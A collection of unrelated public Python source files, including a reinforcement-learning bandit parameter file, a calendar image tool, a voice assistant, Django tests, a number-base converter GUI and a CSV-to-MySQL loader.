+{"seq_id":"14780755399","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2022 Dec 5\n\n@author: kblackw1\n\"\"\"\n\n############ reward   ################\nfrom BanditTaskParam import params,rwd,validate_T,validate_R\n\nrwd['reward']=(rwd['reward']+2*rwd['base']+2*rwd['partial'])  #for equivalence to 3 step task?\nact={'left':0,'right':1} \nstates={'loc':{'Pport':1},\n        'tone':{'6kHz':6}} \nparams['state_units']={'loc':False,'tone':False} #Try false/true\nstart=(states['loc']['Pport'],states['tone']['6kHz']) #used many times\nenv_params={'start':start}\nloc=states['loc'] #used only to define R and T\ntone=states['tone'] #used only to define R and T\nparams['events_per_trial']=1\n\nRbandit={};Tbandit={}  #dictionaries to improve readability/prevent mistakes\nprwdR=0.8; prwdL=0.5 #initial values.  These change with each block of trials\n\nTbandit={start:{act['left']:[(start,1)],act['right']:[(start,1)]}}\nRbandit={start:{act['left']:[(rwd['reward'],prwdL),(rwd['base'],1-prwdL)], \\\n                act['right']: [(rwd['reward'],prwdR),(rwd['base'],1-prwdR)]}}\n\nif __name__== '__main__':\n    ######## Make sure all needed transitions have been created\n    validate_T(Tbandit,msg='validate bandit T')\n    validate_R(Tbandit,Rbandit,msg='validate bandit R')\n","repo_name":"neurord/TD2Q","sub_path":"Bandit1stepParam.py","file_name":"Bandit1stepParam.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20736283493","text":"# print even numbers\n# for i in range(2,11,2):\n#     print(i,end=\" \")\n\n# sum of even numbers\n# sum=0\n# for i in range(2,10,2):\n#     print(i)\n#     sum=sum+i\n# print(\"sum is \",sum)\n#\n# the sum of even nmbewrs n th\n# sum=0\n# n=int(input(\"enter the limit=\"))\n# for i in range(2,n,2):\n#     print(i)\n#     sum=sum+i\n# print(\"sum is\",sum)\n# the sum of odd numbers n th numbers\nsum=0\nn=int(input(\"enter the limit=\"))\nfor i in range(1,n,1):\n    print(i)\n    sum = sum + i\nprint(\"sum is\", sum)\n\n# multiplication table of a number\n# n=int(input(\"enter the number=\"))\n# for i in range(1,11,1):\n#     print(i,\"* \",n,\"=\",i*n)\n\n","repo_name":"Muhammedshaijal/python-works","sub_path":"even numbers.py","file_name":"even numbers.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39533758637","text":"from tkinter import *\r\njanela = Tk()\r\n#cria o objeto janela\r\njanela.title('Cainho')\r\n#nome da janela  aberta\r\njanela.geometry('280x218')\r\n#fixa a resolução da janela\r\nlabel = Label(janela, text='Fontenelle perde a OBR')\r\nlabel.grid(column = 18,row = 8)\r\njanela.mainloop()\r\n#mantém a janela aberta ","repo_name":"Craveir0/Program_Fontnelson_FtCraveiro","sub_path":"Aula_1 - FontCrav.py","file_name":"Aula_1 - FontCrav.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23455462014","text":"\"\"\"\r\nTakes 12 images and outputs copies that each have a calender-month table pasted onto them.\r\n\r\nUsage: calendize.py <year> <path to input images> <path to output directory> [options]\r\n\r\nThe options are:\r\n\r\n[-a --alpha - The transparency of the calendar (0..1)]\r\n[-b --bottom - The bottom margin of the calendar (by default is auto-calculated)]\r\n[-c --borderColor - The color of the table borders]\r\n[--dpi] - DPI to render (by default is auto-calculated from the image size)\r\n[-h --help]\r\n[-m --month - Output for one month only (1..12)]\r\n[-r --right - The right margin of the calendar (by default is auto-calculated)]\r\n[-t --textColor - The color of the text]\r\n[-v --verbose - Verbose output]\r\n\r\nExamples:\r\ncalendize.py 2022 my-12-images temp\r\ncalendize.py 2022 my-12-images temp --dpi 150\r\ncalendize.py 2022 my-12-images temp --dpi 150 -b blue\r\ncalendize.py 2022 my-12-images temp --dpi 150 --borderColor blue --alpha 0.7\r\n\"\"\"\r\nfrom PIL import Image\r\nfrom os.path import isfile, join\r\nfrom os import listdir\r\nfrom calendar import month\r\nfrom optparse import OptionParser\r\nimport os\r\nfrom pathlib import Path\r\n\r\nimport _date_utils\r\nimport _figure_renderer\r\nimport service_auto_dpi_calculator\r\n\r\n# usage() - prints out the usage text, from the top of this file :-)\r\n\r\n\r\ndef usage():\r\n    print(__doc__)\r\n\r\n\r\n# optparse - parse the args\r\nparser = OptionParser(\r\n    usage=__doc__)\r\nparser.add_option('-a', '--alpha', dest='alpha', default=1.0,\r\n                  help=\"The transparency of the calendar (0..1). Defaults to 1 (fully opaque).\")\r\nparser.add_option('-b', '--bottom', dest='bottom_margin', default=50,\r\n                  help=\"The bottom margin of the calendar. By default is auto-calculated.\")\r\nparser.add_option('-c', '--borderColor', dest='borderColor', default=\"black\",\r\n                  help=\"The color of the table borders - for example black or red or blue\")\r\nparser.add_option('--dpi', dest='dpi', default=None,\r\n                  help=\"The DPI to render (Dots Per Inch). By default is auto-calculated for image size.\")\r\nparser.add_option('-m', '--month', dest='month', default=-1,\r\n                  help=\"Output for one month only (1..12)\")\r\nparser.add_option('-r', '--right', dest='right_margin', default=50,\r\n                  help=\"The right margin of the calendar. By default is auto-calculated.\")\r\nparser.add_option('-t', '--textColor', dest='textColor', default=\"black\",\r\n                  help=\"The color of the text - for example black or red or blue\")\r\nparser.add_option('-v', '--verbose', dest='is_verbose',\r\n                  action='store_const',\r\n                  const=True, default=False,\r\n                  help=\"Turn on verbose output\")\r\n\r\n(options, args) = parser.parse_args()\r\nif (len(args) != 3):\r\n    usage()\r\n    exit(2)\r\n\r\nYEAR = int(args[0])\r\nINPUTDIR = args[1]\r\nOUTDIR = args[2]\r\n\r\ndpi_options = options.dpi\r\nif options.dpi is not None:\r\n    dpi_options = int(options.dpi)\r\n\r\n\r\ndef is_supported_file_type(filepath):\r\n    file_extensions = [\".jpg\", \".jpeg\", \".png\"]\r\n    return any(map(lambda ext: filepath.lower().endswith(ext), file_extensions))\r\n\r\n\r\ndef get_input_files(input_dir):\r\n    # Assumption: files are soted already - this allows user to decide which is for which month...\r\n    files = [f for f in listdir(input_dir) if isfile(\r\n        join(input_dir, f)) and is_supported_file_type(f)]\r\n    files = map((lambda f: join(input_dir, f)), files)\r\n    return list(files)\r\n\r\n\r\ndef get_image_dimensions(image_file_path):\r\n    image = Image.open(image_file_path)\r\n    image_width, image_height = image.size\r\n    return (image_width, image_height)\r\n\r\n\r\ndef calculate_bottom_right_offset_for(calender_image, background_image, bottom_margin, right_margin):\r\n    background_image_width, background_image_height = background_image.size\r\n    calender_image_width, calender_image_height = calender_image.size\r\n\r\n    margin_tuple_from_topleft = (background_image_width - calender_image_width -\r\n                                 right_margin, background_image_height - calender_image_height - bottom_margin)\r\n\r\n    return margin_tuple_from_topleft\r\n\r\n\r\ndef paste_with_transparency(fg_img, bg_img, alpha=1.0, box=(0, 0)):\r\n    fg_img_trans = Image.new(\"RGBA\", fg_img.size)\r\n    fg_img_trans = Image.blend(fg_img_trans, fg_img, alpha)\r\n    bg_img.paste(fg_img_trans, box, fg_img_trans)\r\n    return bg_img\r\n\r\n\r\ndef paste_calendar_into_image(calendar_image_file_path, input_image_path, output_image_path, bottom_margin, right_margin, alpha):\r\n    calender_image = Image.open(calendar_image_file_path)\r\n    background_image = Image.open(input_image_path)\r\n    offset = calculate_bottom_right_offset_for(\r\n        calender_image, background_image, bottom_margin, right_margin)\r\n    background_image = paste_with_transparency(\r\n        calender_image, background_image, alpha, offset)\r\n    background_image.save(output_image_path)\r\n\r\n\r\ndef generate_output_image_filename(input_image_path, month, year):\r\n    input_image_name = os.path.basename(input_image_path)\r\n    month_2_digits = f\"{month:02d}\"\r\n    month_name = _date_utils.month_name(month)\r\n    output_filename = f\"{year}-{month_2_digits}-{month_name}--{input_image_name}\"\r\n    # output to PNG since repeatedly saving JPG will affect quality\r\n    return Path(output_filename).with_suffix('.png')\r\n\r\n\r\nfiles = get_input_files(INPUTDIR)\r\nfiles_count = len(files)\r\nif (files_count != 12):\r\n    print(\r\n        f\"The input folder '{INPUTDIR}' should contain 12 images but found {files_count}\")\r\n    exit(3)\r\n\r\nPath(OUTDIR).mkdir(parents=True, exist_ok=True)\r\n\r\n\r\ndef calculate_dpi_and_margins(input_image_path):\r\n    input_width, input_height = get_image_dimensions(input_image_path)\r\n    dpi_and_margins = service_auto_dpi_calculator.DpiAndMargins(\r\n        dpi_options, int(options.bottom_margin), int(options.right_margin))\r\n    if (options.dpi is None):\r\n        dpi_and_margins = service_auto_dpi_calculator.calculate_dpi_and_margins_from_image_size(\r\n            input_width,  input_height, options.is_verbose)\r\n    return dpi_and_margins\r\n\r\n\r\ndef generate_for_month(month):\r\n    # month: 1 = January\r\n    print(f\"Generating {_date_utils.month_name(month)} {YEAR} ...\")\r\n\r\n    input_image_path = files[month - 1]\r\n\r\n    dpi_and_margins = calculate_dpi_and_margins(input_image_path)\r\n\r\n    calendar_image_file_path = _figure_renderer.render_table_for_month(\r\n        month, YEAR, OUTDIR, options.borderColor, options.textColor, dpi_and_margins.dpi)\r\n\r\n    output_image_path = os.path.join(\r\n        OUTDIR, generate_output_image_filename(input_image_path, month, YEAR))\r\n    paste_calendar_into_image(calendar_image_file_path, input_image_path, output_image_path,\r\n                              dpi_and_margins.bottom_margin, dpi_and_margins.right_margin, float(options.alpha))\r\n    os.unlink(calendar_image_file_path)\r\n    print(f\" - calendized image saved to {output_image_path} [OK]\")\r\n\r\n\r\nif (int(options.month) >= 1):\r\n    generate_for_month(int(options.month))\r\nelse:\r\n    for month in range(1, 12 + 1):\r\n        generate_for_month(month)\r\n\r\nprint(\"[done]\")\r\n","repo_name":"mrseanryan/calendizer","sub_path":"calendize.py","file_name":"calendize.py","file_ext":"py","file_size_in_byte":7061,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"12381304821","text":"machine = [{'s': (0, 'Выдать сдачу 0 р'), '1': (1, 'Приняты деньги'), '2': (2, 'Приняты деньги'), '5': (0, 'Выдать шоколадку')},\n           {'s': (0, 'Выдать сдачу 1 р'), '1': (2, 'Приняты деньги'), '2': (3, 'Приняты деньги'), '5': (1, 'Выдать шоколадку')},\n           {'s': (0, 'Выдать сдачу 2 р'), '1': (3, 'Приняты деньги'), '2': (4, 'Приняты деньги'), '5': (2, 'Выдать шоколадку')},\n           {'s': (0, 'Выдать сдачу 3 р'), '1': (4, 'Приняты деньги'), '2': (0, 'Выдать шоколадку'), '5': (3, 'Выдать шоколадку')},\n           {'s': (0, 'Выдать сдачу 4 р'), '1': (0, 'Выдать шоколадку'), '2': (1, 'Выдать шоколадку'), '5': (4, 'Выдать шоколадку')}]\nall_commands = set().union(*(d.keys() for d in machine))\nstate = 0\n\ncommand = input()\n\nwhile command in all_commands:\n    output = machine[state][command][1]\n    state = machine[state][command][0]\n    print(output)\n    command = input()\nelse:\n    print('Был получен неизвестный сигнал. Работа автомата прекращена.')\n","repo_name":"shinkai-tester/python_beginner","sub_path":"Lesson10/choc.py","file_name":"choc.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18946553957","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 26 10:05:27 2018\n\n@author: willalex\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\ntest1 = pd.read_csv('test_input.txt', sep=',', nrows = 180000, header = None, names = ['UserID', 'Bal', 'Date', 'Balance']) \ntest2 = pd.read_csv('test_input.txt', sep=',', skiprows = 180000, header = None , \n                    names =['UserID', 'Trx', 'CardID', 'Date', '2GAbstract', 'TranscationName', 'Classify', 'Amount'])\n#处理错位问题，处理的方法不是很好，以后还得学习\ntest2.loc[ test2['Amount'].isnull(), 'Amount'] = test2['Classify']\ntest2.loc[ test2['Amount'] == test2['Classify'], 'Classify' ] = test2['TranscationName']\ntest2.loc[ test2['Classify'] == test2['TranscationName'], 'TranscationName'] = None\ntest2['Amount'] = test2['Amount'].astype(float)\n\ntrain1 = pd.read_csv('train.txt', sep=',', nrows = 3638790, header = None, names = ['UserID', 'Bal', 'Date', 'Balance'])\ntrain2 =pd.read_csv('train.txt', sep=',', skiprows = 3638790, header = None, \n                     names =['UserID', 'Trx', 'CardID', 'Date', '2GAbstract', 'TranscationName', 'Classify', 'Amount'])\n\ntrain2.loc[ train2['Amount'].isnull(), 'Amount'] = train2['Classify']\ntrain2.loc[ train2['Amount'] == train2['Classify'], 'Classify' ] = train2['TranscationName']\ntrain2.loc[ train2['Classify'] == train2['TranscationName'], 'TranscationName'] = None\ntrain2['Amount'] = test2['Amount'].astype(float)\n\n#Merge\ntestdata = pd.merge(test1, test2, how = 'left', on = ['UserID', 'Date'], suffixes = ['_bal', '_trx'])\ntraindata = pd.merge(train1, train2, how = 'left', on = ['UserID', 'Date'])\n\n#取出最后一天\nnewdf = test1.groupby('UserID')\nnewdf2 = newdf['Date'].max()\n#sortedbyBalance = grouped['Date']\n\nnewddf = pd.DataFrame({'UserID': newdf2.index, 'Date':newdf2.values})\nnewddf.drop(3000, inplace = True)\n\ntemp = pd.merge(test1, newddf, how = 'inner', on = ['UserID', 'Date'])\ntemp['Date'] = temp['Date'] + 7\n\n#submission\ntemp.to_csv('demo.txt',sep = ',',index = False, header = False)\n","repo_name":"WillAlex2017/18ZhaoShangBank","sub_path":"moneyflow/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"31915850958","text":"# printing out the co-prime number\ndef factor(n):\n    factorlist=[]\n    for i in range(2,n):\n        if n%i==0:\n            factorlist.append(i)\n    return factorlist\n\nuser=input()\ninputlist=[]\nwhile user !=\"0\":\n    user=int(user)\n    if user<1000000000:\n        inputlist.append(user)\n    user=input()\n\nfor x in inputlist:\n    z=factor(x)\n    final=[]\n    for i in range(2,x):\n        k=0\n        for m in z:\n            if i%m==0:\n                k+=1\n        if k==0:\n            final.append(i)\n    print(len(final))\n\n","repo_name":"ahammadshawki8/Fun-Coding","sub_path":"co-prime.py","file_name":"co-prime.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38364240860","text":"from recog import recog\nfrom say import say\nfrom search_package import searchpac\nfrom install_package import install\nimport os\nimport datetime\nimport wikipedia\nimport webbrowser as wb\nimport subprocess\nimport pyautogui\nimport screen_brightness_control as sbc\nfrom AppOpener import run\nfrom lxml import html\nimport requests\nimport time\n\n\n# Function to Greet the user based on time\ndef Greeting():\n    hour  = int(datetime.datetime.now().hour)\n    if hour>=0 and hour<12:\n        say(\"Good Morning !!\")\n    elif hour>=12 and hour<18:\n        say(\"Good Afternoon!!\")\n    else:\n        say(\"Good Evening !!\")\n    print(\"I am Thor, How may I help you?\")\n    say(\"I am Thor, How may I help you?\")\n\n\n\nif __name__ == \"__main__\":\n    Greeting() \n    while True:\n        query  = recog().lower() # converting the query to all lowercase\n        # searching for keywords inside the text query\n        if \"wikipedia\" in query: # if we get a keyword as wikipedia\n            say(\"Searching Wikipedia\")\n            # replacing wikipedia with \"\"\n            query = query.replace(\"wikipedia\",\"\") \n            # searching the new query directly on wikipedia using the wikipedia library\n            results  = wikipedia.summary(query,sentences = 2)\n            say(\"According to Wikipedia\")\n            print(results)\n            say(results)\n        elif \"increase volume by\" in query: # if we get a keyword as increase volume by\n            say(\"Increasing Volume\")\n            # replacing increase volume by with \"\"\n            query = query.replace(\"increase volume by\",\"\")\n            # converting left query to integer\n            query =  int(query)\n            # loop for query times\n            for i in range(query):\n                # pressing the volume up button query times\n                pyautogui.press('volumeup')\n        elif \"decrease volume by\" in query:# if we get a keyword as decrease volume by\n            say(\"Decreasing Volume\")\n            # replacing decrease volume by with \"\"\n            query = query.replace(\"decrease volume by\",\"\")\n            # converting left query to integer\n            query =  int(query)\n            # loop for query times\n            for i in range(query):\n                # pressing the volume down button query times\n                pyautogui.press('volumedown')\n        \n        elif \"open youtube\" in query:# if we get a keyword as open youtube\n            # opeaning youtube.com using webbrowser library\n            wb.open(\"youtube.com\")\n        elif \"open google\" in query:# if we get a keyword as open google\n            # opeaning google.com using webbrowser library\n            wb.open(\"google.com\")\n        elif \"open chess\" in query:# if we get a keyword as open chess\n            # opeaning chess.com using webbrowser library\n            wb.open(\"chess.com\")\n        elif \"play music\" in query:# if we get a keyword as play music\n            # address of the direcotory where the music is \n            music_Dir = \"\"\n            songs = os.listdir(music_Dir)\n            # playing the first song in the directory\n            os.startfile(os.path.join(music_Dir,songs[0]))\n        elif \"the time\" in query:# if we get a keyword as the time\n            # Time in H M S format\n            Time  = datetime.datetime.now().strftime(\"%H:%M:%S\")\n            say(\"The time is\")\n            say(Time) \n        elif \"open\" in query:# if we get a keyword as open\n            # replacing open with \"\"\n            query = query.replace(\"open \",\"\")\n            run(query)\n        elif \"set brightness to\" in query:# if we get a keyword as set brightness to\n            say(\"setting brightness\")\n            # replacing set brightness to with \"\"\n            query = query.replace(\"set brightness to\",\"\")\n            # converting left query to integer\n            query =  int(query)\n            # using the screen_brightness_control to set the brightness to query\n            sbc.set_brightness(query)\n        elif \"click\" in query:# if we get a keyword as click\n            # holding down the win button\n            pyautogui.keyDown(\"win\")\n            # pressing the prtscn button\n            pyautogui.press(\"printscreen\")\n            # releasing up the win button\n            pyautogui.keyUp(\"win\")\n        elif \"search on youtube\" in query:# if we get a keyword as search as youtube\n            # replacing search on youtube with \"\"\n            query = query.replace(\"search on youtube\",\"\")\n            # appending the query to the youtube url\n            query = 'https://www.youtube.com/results?search_query='+query\n            print(query)\n            # opeaning the new formed url \n            wb.open(query)\n        elif \"search on google\" in query:# if we get a keyword as search on google\n            # replacing search on google with \"\"\n            query = query.replace(\"search on google\",\"\")\n            # appending the query to the google url\n            query = 'https://www.google.com/search?q='+query\n            print(query)\n            # opeaning the new formed url \n            wb.open(query)\n        else:\n            print(\"I did not recognize that\")   \n            say(\"I did not recognize that!!\")","repo_name":"NamanHH99/Thor-Voice-Assistant","sub_path":"scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24620471334","text":"from django.test import TestCase\nfrom django.urls import reverse, resolve\nfrom .models import Product, ProductCategory\nfrom products.views import products_view, products_by_category_view, product_detail_view\n\n# Create your tests here.\n\n\nclass ProductTests(TestCase):\n    \"\"\"Product name test\"\"\"\n\n    def test_str(self):\n        test_name = Product(product_name='Pork chops')\n        self.assertEqual(str(test_name), 'Pork chops')\n\n\nclass test_url(TestCase):\n    \"\"\"Test urls are resolved\"\"\"\n\n    def test_product_url_resolves(self):\n        url = reverse('products')\n        self.assertEquals(resolve(url).func, products_view)\n\n    def test_product_category_url_resolves(self):\n        url = reverse('products_by_category', args=['path'])\n        self.assertEquals(resolve(url).func, products_by_category_view)\n    \n    def test_product_detail_view_url_resolves(self):\n        url = reverse('product_detail_view', args=['path'])\n        self.assertEquals(resolve(url).func, product_detail_view)\n\n\nclass BasicTest(TestCase):\n    \"\"\"Check fields post\"\"\"\n\n    def test_fields(self):\n        category = ProductCategory(category_name=\"Pork\")\n        category.save()\n        product = Product()\n        product.category_name = category\n        product.product_category = category\n        product.product_name = \"Test Product\"\n        product.product_price = 2.99\n        product.product_weight = 350\n        product.product_serves = 4\n        product.product_description = \"A new test product\"\n        product.product_image_name = \"donkey.jpg\"\n        product.product_stock_qty = 10\n        product.product_live = True\n        product.save()\n        record = Product.objects.get(id=1)\n        self.assertEqual(record, product)\n","repo_name":"JayPeaa/msproject5","sub_path":"products/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9043455983","text":"#Ascii sort of works, but it sucks, so all ascii functions have been commented out by default. You can uncomment them all to enable ascii conversion\n\nimport os\nimport tkinter as tk\nimport time\nimport pyperclip\n\ndef bin_pretty(binum):\n    x = len(binum)\n    r = x%4\n    if r == 0:\n        r = 4\n    r = 4 - r\n    while r >> 0:\n        binum = \"0\" + binum\n        r -= 1\n    tempbin = binum\n    fbin = \"\"\n    while len(tempbin) >> 0:\n        fbin = fbin + tempbin[:4] + \" \"\n        tempbin = tempbin[4:]\n    return fbin\n\n#Handle Events\n#Convert on Return:\ndef dec_key(event):\n    copiedtext.pack_forget()\n    try:\n        #Convert from dec\n        number = ent_dec.get()\n        if number == \"\":\n            ent_bin.delete(0, tk.END)\n            ent_hex.delete(0, tk.END)\n#            ent_ascii.delete(0, tk.END)\n            return\n        number = number.replace(\" \", \"\")\n        number = int(number)\n        decinum = number\n        hexinum = hex(number)[2:]\n        binanum = bin(number)[2:]\n#        try:\n#            ascinum = chr(decinum)\n#        except OverflowError:\n#            ascinum = \"Too big!\"\n#            pass\n        fbin = bin_pretty(binanum)\n    except Exception as e:\n        ent_bin.delete(0, tk.END)\n        ent_bin.insert(0, \"ERROR: \" + str(e))\n        ent_hex.delete(0, tk.END)\n        ent_hex.insert(0, \"ERROR: \" + str(e))\n#        ent_ascii.delete(0, tk.END)\n#        ent_ascii.insert(0, \"ERROR: \" + str(e))\n        return\n\n    #Print Output\n    ent_bin.delete(0, tk.END)\n    ent_bin.insert(0, fbin)\n    ent_hex.delete(0, tk.END)\n    ent_hex.insert(0, hexinum.upper())\n#    ent_ascii.delete(0, tk.END)\n#    ent_ascii.insert(0, ascinum)\ndef bin_key(event):\n    copiedtext.pack_forget()\n    try:\n        #Convert from bin\n        number = ent_bin.get()\n        if number == \"\":\n            ent_dec.delete(0, tk.END)\n            ent_hex.delete(0, tk.END)\n#            ent_ascii.delete(0, tk.END)\n            return\n        number = number.replace(\" \", \"\")\n        number = int(number)\n        binanum = number\n        decinum = int(str(number), 2)\n        hexinum = hex(decinum)[2:]\n#        try:\n#            ascinum = chr(decinum)\n#        except OverflowError:\n#            ascinum = \"Too big!\"\n#            pass\n        fbin = bin_pretty(str(binanum))\n    except Exception as e:\n        ent_dec.delete(0, tk.END)\n        ent_dec.insert(0, \"ERROR: \" + str(e))\n        ent_hex.delete(0, tk.END)\n        ent_hex.insert(0, \"ERROR: \" + str(e))\n#        ent_ascii.delete(0, tk.END)\n#        ent_ascii.insert(0, \"ERROR: \" + str(e))\n        return\n\n    #Print Output\n    ent_bin.delete(0, tk.END)\n    ent_bin.insert(0, fbin)\n    ent_dec.delete(0, tk.END)\n    ent_dec.insert(0, decinum)\n    ent_hex.delete(0, tk.END)\n    ent_hex.insert(0, hexinum.upper())\n#    ent_ascii.delete(0, tk.END)\n#    ent_ascii.insert(0, ascinum)\ndef hex_key(event):\n    copiedtext.pack_forget()\n    try:\n        #Convert from hex\n        number = ent_hex.get()\n        if number == \"\":\n            ent_bin.delete(0, tk.END)\n            ent_dec.delete(0, tk.END)\n#            ent_ascii.delete(0, tk.END)\n            return\n        number = number.replace(\" \", \"\")\n        hexinum = number\n        decinum = int(number, 16)\n        binanum = bin(decinum)[2:]\n#        try:\n#            ascinum = chr(decinum)\n#        except OverflowError:\n#            ascinum = \"Too big!\"\n#            pass\n        fbin = bin_pretty(binanum)\n    except Exception as e:\n        ent_bin.delete(0, tk.END)\n        ent_bin.insert(0, \"ERROR: \" + str(e))\n        ent_dec.delete(0, tk.END)\n        ent_dec.insert(0, \"ERROR: \" + str(e))\n#        ent_ascii.delete(0, tk.END)\n#        ent_ascii.insert(0, \"ERROR: \" + str(e))\n        return\n\n    #Print Output\n    ent_hex.delete(0, tk.END)\n    ent_hex.insert(0, hexinum.upper())\n    ent_bin.delete(0, tk.END)\n    ent_bin.insert(0, fbin)\n    ent_dec.delete(0, tk.END)\n    ent_dec.insert(0, decinum)\n#    ent_ascii.delete(0, tk.END)\n#    ent_ascii.insert(0, ascinum)\n#def askey(event):\n#    copiedtext.pack_forget()\n#    try:\n#        #Convert from ascii\n#        number = ent_ascii.get()\n#        if number == \"\":\n#            ent_bin.delete(0, tk.END)\n#            ent_hex.delete(0, tk.END)\n#            ent_dec.delete(0, tk.END)\n#            return\n#        number = number.replace(\" \", \"\")\n#        ascinum = number.upper()\n#        decinum = \"\"\n#        for i in range(len(number)):\n#            decinum = decinum + str(ord(number[i]))\n#        decinum = int(decinum)\n#        binanum = bin(decinum)[2:]\n#        hexinum = hex(decinum)[2:]\n#        fbin = bin_pretty(binanum)\n#    except Exception as e:\n#        ent_bin.delete(0, tk.END)\n#        ent_bin.insert(0, \"ERROR: \" + str(e))\n#        ent_hex.delete(0, tk.END)\n#        ent_hex.insert(0, \"ERROR: \" + str(e))\n#        ent_dec.delete(0, tk.END)\n#        ent_dec.insert(0, \"ERROR: \" + str(e))\n#        return\n#\n#\n#    #Print Output\n#    ent_bin.delete(0, tk.END)\n#    ent_bin.insert(0, fbin)\n#    ent_dec.delete(0, tk.END)\n#    ent_dec.insert(0, decinum)\n#    ent_hex.delete(0, tk.END)\n#    ent_hex.insert(0, hexinum.upper())\n#ASCII FUNCTIONALITY REMOVED!\n\n#Copy values on click:\ndef dec_copy(event):\n    copyme = ent_dec.get()\n    pyperclip.copy(copyme)\n    copiedtext.pack()\n\ndef bin_copy(event):\n    copyme = ent_bin.get()\n    pyperclip.copy(copyme.replace(\" \", \"\"))\n    copiedtext.pack()\n\ndef hex_copy(event):\n    copyme = ent_hex.get()\n    pyperclip.copy(copyme)\n    copiedtext.pack()\n\n#def ascopy(event):\n#    copyme = ent_ascii.get()\n#    pyperclip.copy(copyme)\n\n#Define Window\nwindow = tk.Tk()\nwindow.geometry(\"960x215\")\nwindow.title(\"Conversion Tool\")\n\n#Define Widgets and Actions\nentertext = tk.Label(text=\"Press ENTER to Convert\")\ncopytext = tk.Label(text=\"Right Click to Copy a Value\")\ncopiedtext = tk.Label(text=\"Value Copied!\")\nlbl_dec = tk.Label(text=\"Decimal\")\nbutt_dec = tk.Button(text=\"Copy\")\nlbl_bin = tk.Label(text=\"Binary\")\nlbl_hex = tk.Label(text=\"Hexidecimal\")\n#lbl_ascii = tk.Label(text=\"Ascii\")\nent_dec = tk.Entry()\nent_bin = tk.Entry()\nent_hex = tk.Entry()\n#ent_ascii = tk.Entry()\n#KeyRelease would be so cool, but the bin_key func would need some serious rework\nent_dec.bind(\"<Return>\", dec_key)\nent_bin.bind(\"<Return>\", bin_key)\nent_hex.bind(\"<Return>\", hex_key)\n#ent_ascii.bind(\"<Return>\", askey)\n#ent_dec.bind(\"<KeyRelease>\", dec_key)\n#ent_bin.bind(\"<KeyRelease>\", bin_key)\n#ent_hex.bind(\"<KeyRelease>\", hex_key)\n#ent_ascii.bind(\"<KeyRelease>\", askey)\nent_dec.bind(\"<Button-3>\", dec_copy)\nent_bin.bind(\"<Button-3>\", bin_copy)\nent_hex.bind(\"<Button-3>\", hex_copy)\n#ent_ascii.bind(\"<Button-3>\", ascopy)\n\n#Load Window Elements\nentertext.pack()\ncopytext.pack()\nlbl_dec.pack(anchor=\"w\")\nent_dec.pack(fill=tk.X)\nlbl_bin.pack(anchor=\"w\")\nent_bin.pack(fill=tk.X)\nlbl_hex.pack(anchor=\"w\")\nent_hex.pack(fill=tk.X)\n#lbl_ascii.pack(anchor=\"w\")\n#ent_ascii.pack(fill=tk.X)\n\n#Start Event Loop\ntk.mainloop()\n","repo_name":"aoxhwjfoavdlhsvfpzha/BaseConverter","sub_path":"ConversionTool.py","file_name":"ConversionTool.py","file_ext":"py","file_size_in_byte":6899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27096304384","text":"import csv\r\nimport pymysql\r\nimport configparser\r\n\r\n\r\nconfig = configparser.ConfigParser()\r\nconfig.read_file(open('credentials.py'))\r\ndbhost = config['csc']['dbhost']\r\ndbuser = config['csc']['dbuser']\r\ndbpw = config['csc']['dbpw']\r\n\r\ndbschema = 'dryan16'\r\n\r\ndbconn = pymysql.connect(host=dbhost,\r\n                         user=dbuser,\r\n                         passwd=dbpw,\r\n                         db=dbschema,\r\n                         use_unicode=True,\r\n                         charset='utf8mb4',\r\n                         autocommit=True)\r\ncursor = dbconn.cursor()\r\n\r\n\r\nfilename = 'peopleData.csv'\r\nmyRows = []\r\ntry:\r\n    with open(filename, 'r') as myCSV:\r\n        data = csv.reader(myCSV)\r\n        next(myCSV)\r\n        for row in data:\r\n            myRows.append(row)\r\n    myCSV.close()\r\nexcept FileNotFoundError:\r\n    print('no file!')\r\n\r\ninsertQuery = 'INSERT INTO peopleData (first_name, last_name, company_name, adress, city, \\\r\n county, state, zip, phone1, phone2, email, web) \\\r\n               VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)'\r\n               \r\nfor item in myRows:\r\n    zero = item[0]\r\n    one = item[1]\r\n    two = item[2]\r\n    three = item[3]\r\n    four = item[4]\r\n    five = item[5]\r\n    six = item[6]\r\n    seven = item[7]\r\n    eight = item[8]\r\n    nine = item[9]\r\n    ten = item[10]\r\n    eleven = item[11]\r\n    cursor.execute(insertQuery, (zero, one, two, three, four, five, six, seven,eight,\\\r\n                                 nine, ten, eleven))\r\nprint(\"_______________\")\r\ndbconn.close()\r\n","repo_name":"dryan9/Database-Management","sub_path":"week13__1.py","file_name":"week13__1.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
